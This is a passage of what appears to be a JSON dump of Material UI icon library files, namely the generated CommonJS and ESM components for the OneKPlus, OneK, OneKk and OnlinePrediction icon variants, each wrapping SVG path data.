12l1.41 1.88c.34.46.01 1.12-.57 1.12-.21 0-.42-.1-.55-.27m4.96-2.23h-1v1c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-1h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1v-1c0-.28.22-.5.5-.5s.5.22.5.5v1h1c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'OneKPlusRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKPlusRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8.25 15c-.41 0-.75-.34-.75-.75V10.5h-.75c-.41 0-.75-.34-.75-.75S6.34 9 6.75 9H8c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75m5.29-.27L12 12.75v1.55c0 .39-.31.7-.7.7h-.1c-.39 0-.7-.31-.7-.7V9.7c0-.39.31-.7.7-.7h.09c.4 0 .71.31.71.7v1.55l1.54-1.98c.13-.17.34-.27.55-.27.58 0 .91.66.56 1.12L13.25 12l1.41 1.88c.34.46.01 1.12-.57 1.12-.21 0-.42-.1-.55-.27m4.96-2.23h-1v1c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-1h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1v-1c0-.28.22-.5.5-.5s.5.22.5.5v1h1c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'OneKPlusRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKPlusSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zM9 15H7.5v-4.5H6V9h3zm4.75 0L12 12.75V15h-1.5V9H12v2.25L13.75 9h1.75l-2.25 3 2.25 3zM19 12.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19z\"\n}), 'OneKPlusSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKPlusSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zM9 15H7.5v-4.5H6V9h3zm4.75 0L12 12.75V15h-1.5V9H12v2.25L13.75 9h1.75l-2.25 3 2.25 3zM19 12.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19z\"\n}), 'OneKPlusSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKPlusTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14v-6.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19V5H5zm5.5-10H12v2.25L13.75 9h1.75l-2.25 3 2.25 3h-1.75L12 12.75V15h-1.5zM6 9h3v6H7.5v-4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 15H9V9H6v1.5h1.5zm4.5-2.25L13.75 15h1.75l-2.25-3 2.25-3h-1.75L12 11.25V9h-1.5v6H12z\"\n}, \"2\")], 'OneKPlusTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKPlusTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14v-6.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19V5H5zm5.5-10H12v2.25L13.75 9h1.75l-2.25 3 2.25 3h-1.75L12 12.75V15h-1.5zM6 9h3v6H7.5v-4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 15H9V9H6v1.5h1.5zm4.5-2.25L13.75 15h1.75l-2.25-3 2.25-3h-1.75L12 11.25V9h-1.5v6H12z\"\n}, \"2\")], 'OneKPlusTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9.25 15c-.41 0-.75-.34-.75-.75V10.5h-.75c-.41 0-.75-.34-.75-.75S7.34 9 7.75 9H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75m6.34 0c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.5c0 .41-.34.75-.75.75s-.75-.34-.75-.75v-4.5c0-.41.34-.75.75-.75s.75.34.75.75v1.5l1.54-1.98c.13-.17.34-.27.55-.27.58 0 .91.66.56 1.12L14.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12\"\n}), 'OneKRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9.25 15c-.41 0-.75-.34-.75-.75V10.5h-.75c-.41 0-.75-.34-.75-.75S7.34 9 7.75 9H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75m6.34 0c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.5c0 .41-.34.75-.75.75s-.75-.34-.75-.75v-4.5c0-.41.34-.75.75-.75s.75.34.75.75v1.5l1.54-1.98c.13-.17.34-.27.55-.27.58 0 .91.66.56 1.12L14.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12\"\n}), 'OneKRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zM10 15H8.5v-4.5H7V9h3zm7 0h-1.75l-1.75-2.25V15H12V9h1.5v2.25L15.25 9H17l-2.25 3z\"\n}), 'OneKSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zM10 15H8.5v-4.5H7V9h3zm7 0h-1.75l-1.75-2.25V15H12V9h1.5v2.25L15.25 9H17l-2.25 3z\"\n}), 'OneKSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm7-10h1.5v2.25L15.25 9H17l-2.25 3L17 15h-1.75l-1.75-2.25V15H12zM7 9h3v6H8.5v-4.5H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 15H10V9H7v1.5h1.5zm5-2.25L15.25 15H17l-2.25-3L17 9h-1.75l-1.75 2.25V9H12v6h1.5z\"\n}, \"2\")], 'OneKTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm7-10h1.5v2.25L15.25 9H17l-2.25 3L17 15h-1.75l-1.75-2.25V15H12zM7 9h3v6H8.5v-4.5H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 15H10V9H7v1.5h1.5zm5-2.25L15.25 15H17l-2.25-3L17 9h-1.75l-1.75 2.25V9H12v6h1.5z\"\n}, \"2\")], 'OneKTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKk.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 10.5h1.5v3H10zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.5 15H6v-4.5H4.5V9h3zm5.5-1c0 .55-.45 1-1 1H9.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H12c.55 0 1 .45 1 1zm6.5 1h-1.75L16 12.75V15h-1.5V9H16v2.25L17.75 9h1.75l-2.25 3z\"\n}), 'OneKk');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKk.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 10.5h1.5v3H10zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.5 15H6v-4.5H4.5V9h3zm5.5-1c0 .55-.45 1-1 1H9.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H12c.55 0 1 .45 1 1zm6.5 1h-1.75L16 12.75V15h-1.5V9H16v2.25L17.75 9h1.75l-2.25 3z\"\n}), 'OneKk');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKkOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 6v10H5v-8.5h1V15h1.5V9H5V5h14z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 11.25V9H14v6h1.5v-2.25L17.25 15H19l-2.25-3L19 9h-1.75zM9.5 15H12c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H9.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-4.5h1.5v3H10z\"\n}, \"1\")], 'OneKkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKkOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 6v10H5v-8.5h1V15h1.5V9H5V5h14z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 11.25V9H14v6h1.5v-2.25L17.25 15H19l-2.25-3L19 9h-1.75zM9.5 15H12c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H9.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-4.5h1.5v3H10z\"\n}, \"1\")], 'OneKkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKkRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 10.5h1.5v3H10zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M6.75 15c-.41 0-.75-.34-.75-.75V10.5h-.75c-.41 0-.75-.34-.75-.75S4.84 9 5.25 9H6.5c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75M13 14c0 .55-.45 1-1 1H9.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H12c.55 0 1 .45 1 1zm4.59 1c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.5c0 .41-.34.75-.75.75s-.75-.34-.75-.75v-4.5c0-.41.34-.75.75-.75s.75.34.75.75v1.5l1.54-1.98c.13-.17.34-.27.55-.27.58 0 .91.66.56 1.12L16.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12\"\n}), 'OneKkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKkRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 10.5h1.5v3H10zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M6.75 15c-.41 0-.75-.34-.75-.75V10.5h-.75c-.41 0-.75-.34-.75-.75S4.84 9 5.25 9H6.5c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75M13 14c0 .55-.45 1-1 1H9.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1H12c.55 0 1 .45 1 1zm4.59 1c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.5c0 .41-.34.75-.75.75s-.75-.34-.75-.75v-4.5c0-.41.34-.75.75-.75s.75.34.75.75v1.5l1.54-1.98c.13-.17.34-.27.55-.27.58 0 .91.66.56 1.12L16.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12\"\n}), 'OneKkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKkSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 10.5h1.5v3H10zM21 3H3v18h18zM7.5 15H6v-4.5H4.5V9h3zM13 9v6H8.5V9zm6 6h-1.75l-1.75-2.25V15H14V9h1.5v2.25L17.25 9H19l-2.25 3z\"\n}), 'OneKkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKkSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 10.5h1.5v3H10zM21 3H3v18h18zM7.5 15H6v-4.5H4.5V9h3zM13 9v6H8.5V9zm6 6h-1.75l-1.75-2.25V15H14V9h1.5v2.25L17.25 9H19l-2.25 3z\"\n}), 'OneKkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKkTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 10.5h1.5v3H10zm9 4.5V9l-2.25 3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 9h2.5v6H6v-4.5H5V19h14v-4h-1.75l-1.75-2.25V15H14V9h1.5v2.25L17.25 9H19V5H5zm3.5 1c0-.55.45-1 1-1H12c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H9.5c-.55 0-1-.45-1-1z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 6v10H5v-8.5h1V15h1.5V9H5V5h14z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 11.25V9H14v6h1.5v-2.25L17.25 15H19l-2.25-3L19 9h-1.75zM9.5 15H12c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H9.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-4.5h1.5v3H10z\"\n}, \"3\")], 'OneKkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OneKkTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 10.5h1.5v3H10zm9 4.5V9l-2.25 3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 9h2.5v6H6v-4.5H5V19h14v-4h-1.75l-1.75-2.25V15H14V9h1.5v2.25L17.25 9H19V5H5zm3.5 1c0-.55.45-1 1-1H12c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H9.5c-.55 0-1-.45-1-1z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 6v10H5v-8.5h1V15h1.5V9H5V5h14z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 11.25V9H14v6h1.5v-2.25L17.25 15H19l-2.25-3L19 9h-1.75zM9.5 15H12c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H9.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-4.5h1.5v3H10z\"\n}, \"3\")], 'OneKkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OnlinePrediction.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 11.5c0 2-2.5 3.5-2.5 5h-2c0-1.5-2.5-3-2.5-5C8.5 9.57 10.07 8 12 8s3.5 1.57 3.5 3.5m-2.5 6h-2V19h2zm9-5.5c0-2.76-1.12-5.26-2.93-7.07l-1.06 1.06C19.55 7.53 20.5 9.66 20.5 12s-.95 4.47-2.49 6.01l1.06 1.06C20.88 17.26 22 14.76 22 12M3.5 12c0-2.34.95-4.47 2.49-6.01L4.93 4.93C3.12 6.74 2 9.24 2 12s1.12 5.26 2.93 7.07l1.06-1.06C4.45 16.47 3.5 14.34 3.5 12m14 0c0 1.52-.62 2.89-1.61 3.89l1.06 1.06C18.22 15.68 19 13.93 19 12s-.78-3.68-2.05-4.95l-1.06 1.06c.99 1 1.61 2.37 1.61 3.89M7.05 16.95l1.06-1.06c-1-1-1.61-2.37-1.61-3.89s.62-2.89 1.61-3.89L7.05 7.05C5.78 8.32 5 10.07 5 12s.78 3.68 2.05 4.95\"\n}), 'OnlinePrediction');"
  },
  {
    "path": "packages/mui-icons-material/lib/OnlinePrediction.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 11.5c0 2-2.5 3.5-2.5 5h-2c0-1.5-2.5-3-2.5-5C8.5 9.57 10.07 8 12 8s3.5 1.57 3.5 3.5m-2.5 6h-2V19h2zm9-5.5c0-2.76-1.12-5.26-2.93-7.07l-1.06 1.06C19.55 7.53 20.5 9.66 20.5 12s-.95 4.47-2.49 6.01l1.06 1.06C20.88 17.26 22 14.76 22 12M3.5 12c0-2.34.95-4.47 2.49-6.01L4.93 4.93C3.12 6.74 2 9.24 2 12s1.12 5.26 2.93 7.07l1.06-1.06C4.45 16.47 3.5 14.34 3.5 12m14 0c0 1.52-.62 2.89-1.61 3.89l1.06 1.06C18.22 15.68 19 13.93 19 12s-.78-3.68-2.05-4.95l-1.06 1.06c.99 1 1.61 2.37 1.61 3.89M7.05 16.95l1.06-1.06c-1-1-1.61-2.37-1.61-3.89s.62-2.89 1.61-3.89L7.05 7.05C5.78 8.32 5 10.07 5 12s.78 3.68 2.05 4.95\"\n}), 'OnlinePrediction');"
  },
  {
    "path": "packages/mui-icons-material/lib/OnlinePredictionOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 11.5c0 2-2.5 3.5-2.5 5h-2c0-1.5-2.5-3-2.5-5C8.5 9.57 10.07 8 12 8s3.5 1.57 3.5 3.5m-2.5 6h-2V19h2zm9-5.5c0-2.76-1.12-5.26-2.93-7.07l-1.06 1.06C19.55 7.53 20.5 9.66 20.5 12s-.95 4.47-2.49 6.01l1.06 1.06C20.88 17.26 22 14.76 22 12M3.5 12c0-2.34.95-4.47 2.49-6.01L4.93 4.93C3.12 6.74 2 9.24 2 12s1.12 5.26 2.93 7.07l1.06-1.06C4.45 16.47 3.5 14.34 3.5 12m14 0c0 1.52-.62 2.89-1.61 3.89l1.06 1.06C18.22 15.68 19 13.93 19 12s-.78-3.68-2.05-4.95l-1.06 1.06c.99 1 1.61 2.37 1.61 3.89M7.05 16.95l1.06-1.06c-1-1-1.61-2.37-1.61-3.89s.62-2.89 1.61-3.89L7.05 7.05C5.78 8.32 5 10.07 5 12s.78 3.68 2.05 4.95\"\n}), 'OnlinePredictionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OnlinePredictionOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 11.5c0 2-2.5 3.5-2.5 5h-2c0-1.5-2.5-3-2.5-5C8.5 9.57 10.07 8 12 8s3.5 1.57 3.5 3.5m-2.5 6h-2V19h2zm9-5.5c0-2.76-1.12-5.26-2.93-7.07l-1.06 1.06C19.55 7.53 20.5 9.66 20.5 12s-.95 4.47-2.49 6.01l1.06 1.06C20.88 17.26 22 14.76 22 12M3.5 12c0-2.34.95-4.47 2.49-6.01L4.93 4.93C3.12 6.74 2 9.24 2 12s1.12 5.26 2.93 7.07l1.06-1.06C4.45 16.47 3.5 14.34 3.5 12m14 0c0 1.52-.62 2.89-1.61 3.89l1.06 1.06C18.22 15.68 19 13.93 19 12s-.78-3.68-2.05-4.95l-1.06 1.06c.99 1 1.61 2.37 1.61 3.89M7.05 16.95l1.06-1.06c-1-1-1.61-2.37-1.61-3.89s.62-2.89 1.61-3.89L7.05 7.05C5.78 8.32 5 10.07 5 12s.78 3.68 2.05 4.95\"\n}), 'OnlinePredictionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OnlinePredictionRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 11.5c0 2-2.5 3.5-2.5 5h-2c0-1.5-2.5-3-2.5-5C8.5 9.57 10.07 8 12 8s3.5 1.57 3.5 3.5m-2.5 6h-2v.5c0 .55.45 1 1 1s1-.45 1-1zm9-5.5c0-2.46-.89-4.71-2.36-6.45-.29-.34-.8-.38-1.12-.06-.27.27-.3.71-.06 1C19.73 7.97 20.5 9.9 20.5 12s-.77 4.03-2.04 5.52c-.25.29-.21.73.06 1 .32.32.83.28 1.12-.06 1.47-1.75 2.36-4 2.36-6.46M3.5 12c0-2.1.77-4.03 2.04-5.52.25-.29.21-.73-.06-1-.31-.31-.83-.28-1.12.06C2.89 7.29 2 9.54 2 12s.89 4.71 2.36 6.46c.29.34.8.38 